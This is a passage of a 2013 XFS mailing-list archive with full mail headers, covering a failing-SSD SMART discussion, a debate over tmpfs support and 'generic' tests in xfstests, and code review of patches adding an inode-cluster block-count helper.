<68DD7157-6ACE-4548-A466-C1EBD31B6DEB@colorremedies.com> <20131211185746.GA11861@redhat.com> To: Dave Jones X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1386807594 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143025 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Dec 11, 2013, at 11:57 AM, Dave Jones wrote: > On Wed, Dec 11, 2013 at 11:52:51AM -0700, Chris Murphy wrote: >>=20 >> On Dec 11, 2013, at 10:27 AM, Dave Jones wrote: >>>=20 >>> Thoughts ? Could sda be dying ? (It is a fairly old crappy ssd) >>=20 >> It may reveal nothing useful, but please report the results from = 'smartctl -x /dev/sda' and if not found install smartmontools package. >=20 >=20 > I meant it when I said 'old' and 'crappy'. > It doesn't even support the interesting SMART commands. Oh well, was worth a shot. The Available_Reservd_Space and = Media_Wearout_Indicator could be useful, but I don't know how = trustworthy they are when both say they're at 100 which is normally = where these values start. Yet they have high, and without reference, = meaningless, raw values. The Available_Reservd_Space value is currently = 100 but its worst value was 48 which is sorta interesting that it dipped = down at one point. That seems to imply it gave up some reserved sectors. = I'd expect that once replaced that'd be it, and this value should only = go down. I suspect we've only just begun to see the myriad ways in which SSDs = could fail. I ran across this article earlier today: = http://techreport.com/review/25681/the-ssd-endurance-experiment-testing-da= ta-retention-at-300tb What I thought was eye opening was a hashed file failing multiple times = in a row with *different* hash values, being allowed to rest unpowered = for five days and then passing. Eeek. Talk about a great setup for a lot = of weird transient problems with that kind of reversal. What I can't = tell is if there were read errors report to the SATA driver, or if = (different) bad data from a particular page was sent to the driver. Chris Murphy= From david@fromorbit.com Wed Dec 11 18:53:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8F6C37F4E for ; Wed, 11 Dec 2013 18:53:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 79D1730406A for ; Wed, 11 Dec 2013 16:53:50 -0800 (PST) X-ASG-Debug-ID: 1386809627-04cb6c537b6b8a30001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id pUbCV1c62KmzH46N for ; Wed, 11 Dec 2013 16:53:48 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtAHAPAHqVJ5LHyk/2dsb2JhbABZDoJ5gzqwcIYvgRoXdIIlAQEEATocIwULCAMSBgklDwUlAw0UE4d8BcI3FxaOcgeENASYE5IUgmpTKIEuJA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 12 Dec 2013 11:23:47 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VquX9-00007g-FN; Thu, 12 Dec 2013 11:53:43 +1100 Date: Thu, 12 Dec 2013 11:53:43 +1100 From: Dave Chinner To: Theodore Ts'o Cc: Christoph Hellwig , Junho Ryu , hughd@google.com, branto@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. Message-ID: <20131212005343.GV10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-6-git-send-email-jayr@google.com> <20131211074615.GE19248@infradead.org> <20131211224012.GJ10988@dastard> <20131212001655.GA31768@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212001655.GA31768@thunk.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386809628 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143027 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 11, 2013 at 07:16:55PM -0500, Theodore Ts'o wrote: > On Thu, Dec 12, 2013 at 09:40:12AM +1100, Dave Chinner wrote: > > > > > > All these tests don't make sense if you never unmount the filesystem. > > > Istead they should exit with _notrun for tmpfs. > > > > IOWs, adding tmpfs changes the definition of a "generic" test. > > > > i.e. instead of: > > > > _supported_fs generic > > > > these tests are now: > > > > _supported_fs xfs ext2 ext3 ext4 ext4dev btrfs gfs2 nfs udf reiserfs > > > > and by that definition should be in the tests/shared directory.... > > At a higher level, I wonder how useful having the distinction between > "generic" and "shared" really is. Suppose in the future we add some > tests for networked file systems or cluster file systems --- do we end > up migrating even more tests from "generic" to "shared" when we find > tests that don't work for some new file system? That's not the problem I'm pointing out. The physical location ofthe test at this point is irrelevant. The fundamental problem is that "generic" is a wildcard that we use to match all filesystems, and so adding a new filesystem changes the definition and suddenly tests that were generic now no longer run on all filesystems. > And to the extent that we have things like > > _require_ > > which skips certain tests, it's not even true that all generic tests > are run for all file systems. _supported_fs is just a _requires_ statement on steriods. "generic" simply documents tests that are expected to run on every single filesystem we can throw at it. The thing is, tmpfs is a very special snowflake - it's a volatile filesystem. xfstests was never designed to handle filesystems that destroy their contents on unmount, and so adding a filesystem that *doesn't support unmount/remount* breaks fundamental assumptions the test harness makes about how filesystems behave. Hence adding tmpfs support means that a generic test can no longer unmount and mount filesystems. That's a major change in test architecture right there, and I'm not sure we start turning stuff upside down to support wacky quirks like volatile filesystems we can't unmount... That's the bigger issue here - tmpfs fundamentally violates the assumption that xfstests is based on - that filesystems are non-volatile and persist across unmount and hence can be rigorously validated after an unmount... The result of this is it changes cwthe definition of what a "generic" filesystem is, and then everything flows downhill from there. > Perhaps it would make more sense to move all of the generic test to > shared, and eliminating the distinction? That way it also becomes > easier becase we don't need to remember whether a test is generic/NNN > vs shared/NNN. :-) Again, that does not solve the problem of tmpfs changing the definition of a "generic" filesystem.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Wed Dec 11 20:22:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8CFA77F4E for ; Wed, 11 Dec 2013 20:22:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6B5A18F8035 for ; Wed, 11 Dec 2013 18:22:10 -0800 (PST) X-ASG-Debug-ID: 1386814926-04cbb041696c22c0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id VjmwmyH8vsuyZ0Vb (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 18:22:06 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC2M4lb004445 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 02:22:05 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC2M4uf029012 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 02:22:04 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC2M4k1029001; Thu, 12 Dec 2013 02:22:04 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 18:22:03 -0800 Message-ID: <52A91DC8.7010405@oracle.com> Date: Thu, 12 Dec 2013 10:22:00 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 1/5] xfs: introduce xfs_ialloc_blks_per_cluster References: <52A86D11.1040504@oracle.com> <20131211231409.GN10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/5] xfs: introduce xfs_ialloc_blks_per_cluster In-Reply-To: <20131211231409.GN10988@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386814926 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143029 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/12 2013 07:14 AM, Dave Chinner wrote: > On Wed, Dec 11, 2013 at 09:48:01PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> Introduce a common routine xfs_ialloc_blks_per_cluster() to calculate >> and return the number of blocks per inode cluster. >> >> Signed-off-by: Jie Liu >> --- >> fs/xfs/xfs_ialloc.h | 10 ++++++++++ >> 1 file changed, 10 insertions(+) >> >> diff --git a/fs/xfs/xfs_ialloc.h b/fs/xfs/xfs_ialloc.h >> index a8f76a5..f4bfd32 100644 >> --- a/fs/xfs/xfs_ialloc.h >> +++ b/fs/xfs/xfs_ialloc.h >> @@ -37,6 +37,16 @@ struct xfs_btree_cur; >> #define XFS_INODE_BIG_CLUSTER_SIZE 8192 >> #define XFS_INODE_CLUSTER_SIZE(mp) (mp)->m_inode_cluster_size >> >> +/* Calculate and return the number of blocks per inode cluster */ >> +static inline int >> +xfs_ialloc_blks_per_cluster( >> + struct xfs_mount *mp) >> +{ >> + if (mp->m_sb.sb_blocksize >= XFS_INODE_CLUSTER_SIZE(mp)) >> + return 1; >> + return XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_blocklog; >> +} > > I'd avoid using the XFS_INODE_CLUSTER_SIZE() macro - it's just a > useless wrapper around mp->m_inode_cluster_size. Hence if you are > cleaning this code up, the first thing I'd do is remove the macro. > > /* Calculate and return the number of blocks per inode cluster */ > static inline int > xfs_ialloc_blks_per_cluster( > struct xfs_mount *mp) > { > if (mp->m_sb.sb_blocksize >= mp->m_inode_cluster_size) > return 1; > return mp->m_inode_cluster_size >> mp->m_sb.sb_blocklog; > } > > Is much less shouty, and just as easy to read ;) Yup, yup! I also considered to just remove this macros as mp->m_inode_cluster_size is quite understood and actually, we avoid this macros in xfs_inobp_check(). :) But that means I need to remove it from xlog_recover_buffer_pass2() and fix it's comments in this patch as well. Thanks, -Jeff From jeff.liu@oracle.com Wed Dec 11 21:00:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id ADD387F4E for ; Wed, 11 Dec 2013 21:00:48 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 97ED830406B for ; Wed, 11 Dec 2013 19:00:48 -0800 (PST) X-ASG-Debug-ID: 1386817246-04cb6c537c6bc2c0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id F89WxDx9of8rsB0O (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 19:00:46 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC30iBK002743 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 03:00:45 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC30h61013691 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 03:00:44 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC30has023804; Thu, 12 Dec 2013 03:00:43 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 19:00:43 -0800 Message-ID: <52A926D8.50107@oracle.com> Date: Thu, 12 Dec 2013 11:00:40 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 2/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_bulkstat References: <52A86D1E.6090507@oracle.com> <20131211232741.GO10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_bulkstat In-Reply-To: <20131211232741.GO10988@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386817246 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143029 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/12 2013 07:27 AM, Dave Chinner wrote: > On Wed, Dec 11, 2013 at 09:48:14PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> Use xfs_ialloc_blks_per_cluster() in xfs_bulkstat(), make the >> related variables more meaningful and remove an unused variable >> nimask from it. >> >> Signed-off-by: Jie Liu >> --- >> fs/xfs/xfs_itable.c | 20 ++++++++------------ >> 1 file changed, 8 insertions(+), 12 deletions(-) >> >> diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c >> index c237ad1..6671f5b 100644 >> --- a/fs/xfs/xfs_itable.c >> +++ b/fs/xfs/xfs_itable.c >> @@ -209,9 +209,8 @@ xfs_bulkstat( >> xfs_inobt_rec_incore_t *irbuf; /* start of irec buffer */ >> xfs_inobt_rec_incore_t *irbufend; /* end of good irec buffer entries */ >> xfs_ino_t lastino; /* last inode number returned */ >> - int nbcluster; /* # of blocks in a cluster */ >> - int nicluster; /* # of inodes in a cluster */ >> - int nimask; /* mask for inode clusters */ >> + int blks_per_cluster; /* # of blocks in a cluster */ >> + int ninodes; /* # of inodes in a cluster */ > > inodes_per_cluster? Ok. > >> int nirbuf; /* size of irbuf */ >> int rval; /* return value error code */ >> int tmp; /* result value from btree calls */ >> @@ -243,11 +242,8 @@ xfs_bulkstat( >> *done = 0; >> fmterror = 0; >> ubufp = ubuffer; >> - nicluster = mp->m_sb.sb_blocksize >= XFS_INODE_CLUSTER_SIZE(mp) ? >> - mp->m_sb.sb_inopblock : >> - (XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog); >> - nimask = ~(nicluster - 1); >> - nbcluster = nicluster >> mp->m_sb.sb_inopblog; >> + blks_per_cluster = xfs_ialloc_blks_per_cluster(mp); > > Ok, now I see the helper name, perhaps it shoul dbe more like all > the other conversion functions. "ialloc" means nothing in the > context, and "blks" doesn't tell us the unit we are converting to > - if could be basic blocks, it could be filesystem blocks. So, > perhaps something like xfs_icluster_size_fsb()? Sounds make sense to me, I'd like to adopt this name. Thanks, -Jeff From jeff.liu@oracle.com Wed Dec 11 21:06:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 824597F4E for ; Wed, 11 Dec 2013 21:06:24 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6EF228F8035 for ; Wed, 11 Dec 2013 19:06:21 -0800 (PST) X-ASG-Debug-ID: 1386817580-04cbb041666c3610001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id jpdpK8ZWvrpAfOSo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 19:06:20 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC36Ihn007795 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 03:06:19 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC36H6L026133 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 03:06:18 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC36HPa012902; Thu, 12 Dec 2013 03:06:17 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 19:06:17 -0800 Message-ID: <52A92825.6020406@oracle.com> Date: Thu, 12 Dec 2013 11:06:13 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 4/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_ifree_cluster References: <52A86D2B.50409@oracle.com> <20131211233101.GQ10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_ifree_cluster In-Reply-To: <20131211233101.GQ10988@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386817580 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143029 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/12 2013 07:31 AM, Dave Chinner wrote: > On Wed, Dec 11, 2013 at 09:48:27PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> Use xfs_ialloc_blks_per_cluster() in xfs_ifree_cluster() >> >> Signed-off-by: Jie Liu >> --- >> fs/xfs/xfs_inode.c | 13 +++---------- >> 1 file changed, 3 insertions(+), 10 deletions(-) >> >> diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c >> index 001aa89..7e75b8e 100644 >> --- a/fs/xfs/xfs_inode.c >> +++ b/fs/xfs/xfs_inode.c >> @@ -2152,16 +2152,9 @@ xfs_ifree_cluster( >> struct xfs_perag *pag; >> >> pag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, inum)); >> - if (mp->m_sb.sb_blocksize >= XFS_INODE_CLUSTER_SIZE(mp)) { >> - blks_per_cluster = 1; >> - ninodes = mp->m_sb.sb_inopblock; >> - nbufs = XFS_IALLOC_BLOCKS(mp); >> - } else { >> - blks_per_cluster = XFS_INODE_CLUSTER_SIZE(mp) / >> - mp->m_sb.sb_blocksize; >> - ninodes = blks_per_cluster * mp->m_sb.sb_inopblock; >> - nbufs = XFS_IALLOC_BLOCKS(mp) / blks_per_cluster; >> - } >> + blks_per_cluster = xfs_ialloc_blks_per_cluster(mp); >> + ninodes = blks_per_cluster << mp->m_sb.sb_inopblog; >> + nbufs = XFS_IALLOC_BLOCKS(mp) / blks_per_cluster; > > I'd get rid of the XFS_IALLOC_BLOCKS() macros there and just use > mp->m_ialloc_blks directly. Otherwise looks good. Agree, for the same reason as XFS_INODE_CLUSTER_SIZE() macros, I will kill it. Oh, it looks we can get rid of XFS_IALLOC_INODES() marcos as well... Thanks, -Jeff From jeff.liu@oracle.com Wed Dec 11 21:16:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4D0DB7F50 for ; Wed, 11 Dec 2013 21:16:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 33D6F8F804B for ; Wed, 11 Dec 2013 19:16:46 -0800 (PST) X-ASG-Debug-ID: 1386818205-04cbb041696c3a90001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 3UruJ8RJz5wvUqvv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 19:16:45 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC3Ggqo015635 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 03:16:43 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC3GgpE018439 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 03:16:42 GMT Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC3GgKa025896; Thu, 12 Dec 2013 03:16:42 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 19:16:42 -0800 Message-ID: <52A92A95.5020607@oracle.com> Date: Thu, 12 Dec 2013 11:16:37 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 5/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_imap References: <52A86D33.2020102@oracle.com> <20131211233938.GR10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_imap In-Reply-To: <20131211233938.GR10988@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386818205 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143029 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/12 2013 07:39 AM, Dave Chinner wrote: > On Wed, Dec 11, 2013 at 09:48:35PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> Use xfs_ialloc_blks_per_cluster() in xfs_imap(). Please note that we >> previously calculate the number of blocks per cluster without taking >> the situation of that the inode cluster size might be equal to or less >> than the SB blocksize into account. Maybe there is a chance to cause >> potential issues after handling an untrusted inode number lookup and >> proceed to check if the inode number maps to a block is outsides the >> file system bounds or not. > > I don't think there's any issues here - after all the inode lookups > and mapping is done, the code in xfs_imap checks that the cluster > that the inode is mapped to lies wholly within the filesystem > boundaries. Hence I think you can remove that from the patch > descritpion. Ah, you're right because the current logic can handle it well if blks_per_cluster > 1, or there is no influence to calculate the cluster_agbno if blks_per_cluster == 1. :) Thanks, -Jeff From jeff.liu@oracle.com Wed Dec 11 21:27:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4BDED7F50 for ; Wed, 11 Dec 2013 21:27:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DD650AC008 for ; Wed, 11 Dec 2013 19:27:06 -0800 (PST) X-ASG-Debug-ID: 1386818822-04bdf05ced1d3f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id JDj8TXEyTAPuowb7 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 19:27:02 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP 